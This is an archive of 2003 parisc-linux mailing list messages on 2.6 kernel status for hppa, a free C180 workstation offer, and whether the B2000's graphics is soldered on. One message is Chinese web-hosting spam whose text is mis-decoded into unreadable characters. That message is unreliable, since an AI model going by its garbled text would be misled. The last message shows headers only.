In-Reply-To: <Pine.LNX.4.21.0308262125490.16192-100000@hal.pp.fishpool.fi>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19364

On Tue, Aug 26, 2003 at 09:29:35PM +0300, Martin-ric Racine wrote:
> Greetings,
> 
> Having just tried kernel 2.6 (the release candidate found in unstable) on i386,
> I found it to bring a _tremendous_ improvement in responsiveness and especially
> in userspace stuff like XFree. Given how this 712 is the slowest machine in my
> LAN, I was wondering if any work is being done on 2.6 for hppa and when is the
> first release expected?  Thanks!

-> parisc-linux.org where we have 2.6.0-test4.
When might there be a debian package for it?  Don't know, not my department.
But the -pa patch is a tiny fraction of the size of the 2.4 patch, so it'll
be much easier for everyone.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: kernel 2.6 for hppa status?
Date: Tue, 26 Aug 2003 23:38:41 +0200
Organization: ESIEE
Lines: 58
Approved: news@gmane.org
Message-ID: <20030826233841.655ec3b2.varenet__20629.9751917415$1416622731$gmane$org@esiee.fr>
References: <200308261202100660.00729583@smtp1.sympatico.ca>
	<Pine.LNX.4.21.0308262125490.16192-100000@hal.pp.fishpool.fi>
	<20030826200354.GT22294@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="pgp-sha1"; boundary="=.Qjpr3j(rw5Je4."
X-Trace: ger.gmane.org 1416622731 30390 80.91.229.3 (22 Nov 2014 02:18:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:51 +0000 (UTC)
Cc: willy@debian.org,
	=?ISO-8859-1?Q?Martin-=C9ric?= Racine <q-funk@pp.fishpool.fi>,
	debian-hppa@lists.debian.org
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 15:38:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.zigoo.net (d108.dhcp212-198-139.noos.fr [212.198.139.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB2114845
	for <parisc-linux@parisc-linux.org>; Tue, 26 Aug 2003 15:38:55 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h7QLckF7017946;
	Tue, 26 Aug 2003 23:38:47 +0200
In-Reply-To: <20030826200354.GT22294@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.9.0claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19365

--=.Qjpr3j(rw5Je4.
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

On Tue, 26 Aug 2003 21:03:54 +0100
Matthew Wilcox <willy@debian.org> wrote:

> On Tue, Aug 26, 2003 at 09:29:35PM +0300, Martin-=C9ric Racine wrote:
> > Greetings,
> >=20
> > Having just tried kernel 2.6 (the release candidate found in unstable)
> > on i386, I found it to bring a _tremendous_ improvement in
> > responsiveness and especially in userspace stuff like XFree. Given how
> > this 712 is the slowest machine in my LAN, I was wondering if any work
> > is being done on 2.6 for hppa and when is the first release expected?=20
> > Thanks!
>=20
> -> parisc-linux.org where we have 2.6.0-test4.
> When might there be a debian package for it?  Don't know, not my
> department.

If it was up to me i guess it wouldn't take much time. I have to discuss
that with either you and bdale, to state *how* we want it done...

Anyway, let me remind you that as for generating 2.6 netinsts, i _do_ need
arch/parisc/debian-configs/* files to provide you with a 2.6 package.

Since i'm not willing to find out by myself what we want and what we don't
want in 2.6 "debian stock" kernel configs (that's a matter for the b-f
maintainer i guess, or maybe my kernel package mentor - aka bdale - has
some ideas about it ;), i won't be able to do anything _prior_ to these
files appearance in our CVS tree...

> But the -pa patch is a tiny fraction of the size of the 2.4 patch, so
> it'll be much easier for everyone.

that's for sure!

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

--=.Qjpr3j(rw5Je4.
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/S9NmHjLD2rfS8GMRAgrhAJ0fbGX5Yos7ixDt493Nm5lAaqm3OgCfX0qn
Y+dO2QXp9Zudfsasu+Y96NY=
=nlpT
-----END PGP SIGNATURE-----

--=.Qjpr3j(rw5Je4.--


From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: webmaster <webmaster@127.0.0.1>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] -------|Ż|------
Date: Tue, 26 Aug 2003 19:00:33 -0600 (MDT)
Lines: 122
Approved: news@gmane.org
Message-ID: <20030827010033.C06944830@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622732 30393 80.91.229.3 (22 Nov 2014 02:18:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 19:00:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tonylee9-5zaxon.xmgwbn.com (unknown [220.113.166.200])
	by dsl2.external.hp.com (Postfix) with SMTP id C06944830
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 19:00:33 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19366

װѣ
ã
бƼ޹˾ʺлտʼϵϣ
ܳΪڹҪ顣һҲ¼ᾧоƹͷչ
¼ڻϢעĸ¼ҵ
:http://www.host-china.com 
    ˾2003ȫʻƳ²Ʒпռ䶼֧
ݿ⣨linux+PHP+Mysql;NT+asp+acess⽫ֵѡ
1.30Mռ+30Mҵʾ + һ ȫ棬198Ԫ/ꡣ
2.120Mռ䣫120Mҵ䣫1ȫ棬330Ԫ/ꡣ
    3.200Mռ䣫50Mҵ䣫1ȫ棬450Ԫ/ꡣ
    4.300Mռ䣫50Mҵ䣫1ȫ棬580Ԫ/ꡣ

ǾΪṩõķ񡣣ųʧԸ
˿ҲΪһĲġǳŵⰴʵ
˿벻Ҫֱӻظ,ظ뷢:li_9888@hotmail.com

ףģ˳
webmaster of http://www.host-china.com 
                                        бƼ޹˾
                                        http://www.host-china.com
                                        绰0592-5915491ߣ   0592-5652685
                                        棺0592-5652687
                                        ϵˣ С





























































































---------------------------------------------------------------
еȺʼ,ר(http://www.21cmm.com)

CMMУ(http://www.21cmm.com)Ŀר


From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jmd <jmd5@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] c180 available for developer
Date: Tue, 26 Aug 2003 16:50:08 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <1061941808.1048.8.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622732 30396 80.91.229.3 (22 Nov 2014 02:18:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:52 +0000 (UTC)
To: parisc-linux-announce@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 19:02:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DA37496B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 19:02:02 -0600 (MDT)
Delivered-To: parisc-linux-announce@lists.parisc-linux.org
Original-Received: from gull.mail.pas.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30D9D4830
	for <parisc-linux-announce@lists.parisc-linux.org>; Tue, 26 Aug 2003 17:40:26 -0600 (MDT)
Original-Received: from 66-215-13-165.gln-mres.charterpipeline.net ([66.215.13.165] helo=localhost.localdomain)
	by gull.mail.pas.earthlink.net with esmtp (Exim 3.33 #1)
	id 19rnQD-0002mX-00
	for parisc-linux-announce@lists.parisc-linux.org; Tue, 26 Aug 2003 16:40:21 -0700
X-Mailer: Ximian Evolution 1.4.4 
Resent-To: parisc-linux@lists.parisc-linux.org
X-Ack: no
X-BeenThere: parisc-linux-announce@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
Resent-Message-Id: <20030827010202.1DA37496B@dsl2.external.hp.com>
Resent-Date: Tue, 26 Aug 2003 19:02:02 -0600 (MDT)
Resent-From: parisc-linux-announce-admin@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19367

i have a c180 visualize that is just taking up space. if a developer
would like it, it's free. just the cost of shipping. or could be picked
up in glendale california.

c180 2.1G scsi drive, 4x plextor cdrom (internal and NOT OEM), 256M
memory. vga graphics card and z buffer. i forget the card number. X
works though. base install of debian is on it now.

if you need more details contact me off list at jmd5@earthlink.net.

figure shipping costs from 91201 and 50 lbs. (its heavy)

jeff duncan





From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@speakeasy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Tue, 26 Aug 2003 21:30:23 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <0749BC3A-D82E-11D7-8E2F-000393581E44@speakeasy.net>
References: <20030826150344.GA2012@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622732 30400 80.91.229.3 (22 Nov 2014 02:18:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 19:30:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8EEAD496F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 19:30:23 -0600 (MDT)
Original-Received: (qmail 19519 invoked from network); 27 Aug 2003 01:30:22 -0000
Original-Received: from unknown (HELO speakeasy.net) (caslivkoff@[216.27.161.152])
          (envelope-sender <caslivkoff@speakeasy.net>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 27 Aug 2003 01:30:22 -0000
In-Reply-To: <20030826150344.GA2012@tausq.org>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19368

Hi Randolph,

On Tuesday, Aug 26, 2003, at 11:03 US/Eastern, Randolph Chung wrote:

> In reference to a message from mmogenius@v8fiesta.co.uk, dated Aug 26:
>> do we know if it is possable to add an extra graphics card to the 
>> b2000 to
>> usin instead of the internal card ?
>
> the web page tells you that if you get a Vis-EG card it will work. 
> there
> are no "built in" graphics cards..  if you have a FX? card in your b2k,
> it's a PCI card. (lspci should tell you)

The B2000 does have integrated graphics. It is an FX-e.

-chuck



From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Tue, 26 Aug 2003 21:40:36 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20030827034036.GA9928@dsl2.external.hp.com>
References: <20030826150344.GA2012@tausq.org> <0749BC3A-D82E-11D7-8E2F-000393581E44@speakeasy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622733 30404 80.91.229.3 (22 Nov 2014 02:18:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chuck Slivkoff <caslivkoff@speakeasy.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 21:40:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 516204840; Tue, 26 Aug 2003 21:40:36 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <0749BC3A-D82E-11D7-8E2F-000393581E44@speakeasy.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19369

On Tue, Aug 26, 2003 at 09:30:23PM -0400, Chuck Slivkoff wrote:
> The B2000 does have integrated graphics. It is an FX-e.

"integrated" != "soldered on the motherboard"
"built-in"   ~= "soldered on the motherboard"

ie The Gfx card can be removed and in fact must be remove if one wants
to use the only 66mhz/64-bit PCI slot the B2000/C3000 has.

AFAIK, the B2000/C3000/J5000 systems only have plug-in PCI gfx cards.
At least all the ones I've seen are plug-in.

grant


From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@speakeasy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Wed, 27 Aug 2003 01:00:59 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <72F3D1D0-D84B-11D7-8E2F-000393581E44@speakeasy.net>
References: <20030827034036.GA9928@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; delsp=yes; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622733 30406 80.91.229.3 (22 Nov 2014 02:18:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 26 23:00:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail15.speakeasy.net [216.254.0.215])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB6B14844
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Aug 2003 23:00:57 -0600 (MDT)
Original-Received: (qmail 9148 invoked from network); 27 Aug 2003 05:00:56 -0000
Original-Received: from unknown (HELO speakeasy.net) (caslivkoff@[216.27.161.152])
          (envelope-sender <caslivkoff@speakeasy.net>)
          by mail15.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 27 Aug 2003 05:00:56 -0000
In-Reply-To: <20030827034036.GA9928@dsl2.external.hp.com>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19370

On Tuesday, Aug 26, 2003, at 23:40 US/Eastern, Grant Grundler wrote:

> On Tue, Aug 26, 2003 at 09:30:23PM -0400, Chuck Slivkoff wrote:
>> The B2000 does have integrated graphics. It is an FX-e.
>
> "integrated" != "soldered on the motherboard"
> "built-in"   ~= "soldered on the motherboard"

I've always used these interchangably.

> ie The Gfx card can be removed and in fact must be remove if one wants
> to use the only 66mhz/64-bit PCI slot the B2000/C3000 has.
>
> AFAIK, the B2000/C3000/J5000 systems only have plug-in PCI gfx cards.
> At least all the ones I've seen are plug-in.

The B2000 is an exception. I participated in the Field Review of this  
box ("Kazoo", IIRC) & we have one of these in our lab in Roseville.  
This box was considered a "cheap" alternative to a C3000 with a smaller  
power supply, fewer PCI slots, fewer DIMM slots and integrated (see  
below) graphics. The FX-e is soldered on the motherboard.

 From pg 23 of the B2000 the Owner's Guide:

   Monitor Connector
   The B2000 workstation has an integrated HP VISUALIZE fxe graphics
   chip on the system board. Thus, the monitor connector on the rear  
panel
   of the workstation connects your monitor to this graphics chip on the
   system board.

http://h20000.www2.hp.com/bizsupport/ 
CoreRedirect.jsp?targetPage=http%3A%2F%2Fh200007.www2.hp.com%2Fbc%2Fdocs 
%2Fsupport%2FSupportManual%2Flpv37670%2Flpv37670.pdf



From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Wed, 27 Aug 2003 00:05:16 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20030827060516.GA11642@dsl2.external.hp.com>
References: <20030827034036.GA9928@dsl2.external.hp.com> <72F3D1D0-D84B-11D7-8E2F-000393581E44@speakeasy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622733 30408 80.91.229.3 (22 Nov 2014 02:18:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chuck Slivkoff <caslivkoff@speakeasy.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 00:05:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 527604975; Wed, 27 Aug 2003 00:05:16 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <72F3D1D0-D84B-11D7-8E2F-000393581E44@speakeasy.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19371

On Wed, Aug 27, 2003 at 01:00:59AM -0400, Chuck Slivkoff wrote:
> >"integrated" != "soldered on the motherboard"
> >"built-in"   ~= "soldered on the motherboard"
> 
> I've always used these interchangably.

I normally would too.
I don't anymore for HP products since hearing "factory integration"
regarding plug-in PCI cards.

> The B2000 is an exception. I participated in the Field Review of this  
> box ("Kazoo", IIRC) & we have one of these in our lab in Roseville.  
> This box was considered a "cheap" alternative to a C3000 with a smaller  
> power supply, fewer PCI slots, fewer DIMM slots and integrated (see  
> below) graphics. The FX-e is soldered on the motherboard.

ok - thanks - I've seen the fewer DIMM slots version but didn't
notice the FX-e on the motherboard (or VGA connector on the back).

I have seen a B2000 with 8 DIMM slots and 6 PCI slots like a C3000.
This is no prototype - a real production unit.
I'll have a chance to look more closely at this box again
in the near future and will take some pictures.

thanks for the correction,
grant


From - Thu Nov 08 21:29:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Wed, 27 Aug 2003 10:06:30 +0200
Organization: ESIEE
Lines: 21
Approved: news@gmane.org
Message-ID: <20030827100630.7a3eb14f.varenet@esiee.fr>
References: <20030827034036.GA9928@dsl2.external.hp.com>
	<72F3D1D0-D84B-11D7-8E2F-000393581E44@speakeasy.net>
	<20030827060516.GA11642@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622734 30413 80.91.229.3 (22 Nov 2014 02:18:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:54 +0000 (UTC)
Cc: Chuck Slivkoff <caslivkoff@speakeasy.net>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 27 02:06:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d108.dhcp212-198-139.noos.fr [212.198.139.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE75A48C3
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Aug 2003 02:06:34 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h7R86VF7000959;
	Wed, 27 Aug 2003 10:06:32 +0200
In-Reply-To: <20030827060516.GA11642@dsl2.external.hp.com>
X-Mailer: Sylpheed version 0.9.0claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19372

